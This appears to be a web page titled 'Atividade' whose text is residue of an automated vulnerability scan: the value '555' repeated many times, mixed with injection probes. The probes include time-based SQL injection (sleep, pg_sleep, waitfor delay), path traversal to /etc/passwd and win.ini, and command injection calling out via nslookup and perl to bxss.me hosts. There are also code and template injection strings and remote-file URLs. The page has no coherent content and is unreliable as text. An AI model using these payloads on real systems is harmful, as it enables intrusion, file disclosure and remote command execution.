Atividade

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

1′”

\

@@QJTWh

JyI=

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

http://bxss.me/t/xss.html?%00

“+”A”.concat(70-3).concat(22*4).concat(111).concat(76).concat(107).concat(79)+(require”socket”
Socket.gethostbyname(“hitgh”+”kkohdgcm963fb.bxss.me.”)[3].to_s)+”

bxss.me/t/xss.html?%00

555

‘+’A’.concat(70-3).concat(22*4).concat(118).concat(89).concat(116).concat(89)+(require’socket’
Socket.gethostbyname(‘hitfe’+’xllrbxskfe04d.bxss.me.’)[3].to_s)+’

555

555

555

555

555

555

555

555

555

555&n939336=v983984

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

9PqlQ5wB

555

555

555

555

555

555

../../../../../../../../../../etc/passwd

555

response.write(9599772*9722514)

555

../../../../../../../../../../windows/win.ini

555

555

‘+response.write(9599772*9722514)+’

555

555

555

555

“+response.write(9599772*9722514)+”

555

../555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

${10000179+9999815}

555

555

555

555

555

555

555

echo qvlkqe$()\ svkmch\nz^xyu||a #’ &echo qvlkqe$()\ svkmch\nz^xyu||a #|” &echo qvlkqe$()\ svkmch\nz^xyu||a #

555

555

555

555

&echo grmaez$()\ xwpiqq\nz^xyu||a #’ &echo grmaez$()\ xwpiqq\nz^xyu||a #|” &echo grmaez$()\ xwpiqq\nz^xyu||a #

555

555

555

555

|echo npqpkm$()\ ktexhi\nz^xyu||a #’ |echo npqpkm$()\ ktexhi\nz^xyu||a #|” |echo npqpkm$()\ ktexhi\nz^xyu||a #

555

(nslookup hitjleobiqbswc3ac4.bxss.me||perl -e “gethostbyname(‘hitjleobiqbswc3ac4.bxss.me’)”)

555

555

$(nslookup hitffhoxrgbyzb5e56.bxss.me||perl -e “gethostbyname(‘hitffhoxrgbyzb5e56.bxss.me’)”)

555

555

&(nslookup hitraqznnpzita35a6.bxss.me||perl -e “gethostbyname(‘hitraqznnpzita35a6.bxss.me’)”)&’\”`0&(nslookup hitraqznnpzita35a6.bxss.me||perl -e “gethostbyname(‘hitraqznnpzita35a6.bxss.me’)”)&`’

555

555

555

|(nslookup hitfdjrlfnzxs7065d.bxss.me||perl -e “gethostbyname(‘hitfdjrlfnzxs7065d.bxss.me’)”)

555

555

555

`(nslookup hitmvdyeosdwtc51d0.bxss.me||perl -e “gethostbyname(‘hitmvdyeosdwtc51d0.bxss.me’)”)`

555

555

555

;(nslookup hitxhvqvpsbyzcdeea.bxss.me||perl -e “gethostbyname(‘hitxhvqvpsbyzcdeea.bxss.me’)”)|(nslookup hitxhvqvpsbyzcdeea.bxss.me||perl -e “gethostbyname(‘hitxhvqvpsbyzcdeea.bxss.me’)”)&(nslookup hitxhvqvpsbyzcdeea.bxss.me||perl -e “gethostbyname(‘hitxhvqvpsbyzcdeea.bxss.me’)”)

555

)

555

!(()&&!|*|*|

555

555

555

^(#$!@#$)(()))******

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

555

-1 OR 2+993-993-1=0+0+0+1 —

1some_inexistent_file_with_long_name.jpg

555

-1 OR 2+966-966-1=0+0+0+1

http://bxss.me/t/fit.txt

555

-1′ OR 2+191-191-1=0+0+0+1 —

http://bxss.me/t/fit.txt?.jpg

555

555

-1′ OR 2+462-462-1=0+0+0+1 or ‘wGdSGxpP’=’

bxss.me

555

555

-1″ OR 2+541-541-1=0+0+0+1 —

555

;print(md5(31337));

177′

‘;print(md5(31337));$a=’

if(now()=sysdate(),sleep(12),0)

555

555

“;print(md5(31337));$a=”

0’XOR(if(now()=sysdate(),sleep(12),0))XOR’Z

555

${@print(md5(31337))}

555

0″XOR(if(now()=sysdate(),sleep(12),0))XOR”Z

${@print(md5(31337))}\

555

‘”()

(select(0)from(select(sleep(12)))v)/*’+(select(0)from(select(sleep(12)))v)+'”+(select(0)from(select(sleep(12)))v)+”*/

‘.print(md5(31337)).’

555

-1; waitfor delay ‘0:0:12’ —

‘.gethostbyname(lc(‘hitaz’.’ttntgrzdd7d25.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(115).chr(68).chr(101).chr(66).’

555

-1); waitfor delay ‘0:0:12’ —

555

“.gethostbyname(lc(“hitmv”.”kyigibgdca3d5.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(122).chr(84).chr(100).chr(88).”

1 waitfor delay ‘0:0:12’ —

xm1BvkVA’; waitfor delay ‘0:0:12’ —

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

-5 OR 900=(SELECT 900 FROM PG_SLEEP(12))–

555

555

-5) OR 525=(SELECT 525 FROM PG_SLEEP(12))–

555

-1)) OR 224=(SELECT 224 FROM PG_SLEEP(12))–

555

555

555

6ktXdhBd’ OR 74=(SELECT 74 FROM PG_SLEEP(12))–

555

555

555

SqNtGXQ1′) OR 789=(SELECT 789 FROM PG_SLEEP(12))–

555

555

555

GZ63wnoS’)) OR 787=(SELECT 787 FROM PG_SLEEP(12))–

555

555

555

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)

‘”

555

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||’

555

<!–

555

555

555

555

555

555

555

/xfs.bxss.me

index.php

555

index.php

index.php/.

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555′”()&%dMEs(9590)

‘”()&%dMEs(9037)

5559310371

555